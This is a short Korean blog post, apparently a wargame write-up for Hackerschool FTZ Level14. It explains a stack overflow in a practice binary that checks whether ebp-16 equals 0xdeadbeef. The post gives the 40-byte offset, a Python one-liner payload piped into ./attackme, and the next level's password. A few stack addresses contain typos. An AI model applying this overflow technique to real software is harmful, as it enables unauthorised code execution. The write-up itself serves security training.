System Hacking

[해커스쿨FTZ] Level14

BIGFROG 2020. 1. 6. 17:08

레벨14이후로는 mainsource의 문제를 그대로 가져왔다고 한다.

 

 

fgets를 이용해서 받는다.

fgets(buf,45,stdin)이므로

마지막 널 문자를 제외한 44바이트를 최대로 입력받는다.

 

main+39부분에서,

ebp-16과 0xdeadbeef를 비교한다.

따라서, ebp-16부분에 0xdeadbeef를 넣어줘야 한다.

 

버퍼에서 확장된 스택의 크기는 56바이트(더미포함)

 

ebp : 0xbfff6f8 value:0xbfff6f8(초기 esp의 값)

main의 ebp - 0xbfff6d8 value: 0xbfff6f68

 

A*16를 줬을때

버퍼는 0xbffff6a0부터 쌓인다.

 

f6c8(ebp-16) - f6a0(문자열쌓이는위치) = 40바이트

 

A*40 + \xef\xbe\xad\xde

 

공격코드:

(python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat) | ./attackme

 

level15 패스워드 : "guess what"

 

 

'System Hacking' 카테고리의 다른 글

[해커스쿨FTZ] Level16  (0) 2020.01.06
[해커스쿨FTZ] Level15  (0) 2020.01.06
[해커스쿨FTZ] Level13  (0) 2020.01.06
[pwnable.kr] coin1  (0) 2019.10.01
[pwnable.kr] shellshock  (0) 2019.10.01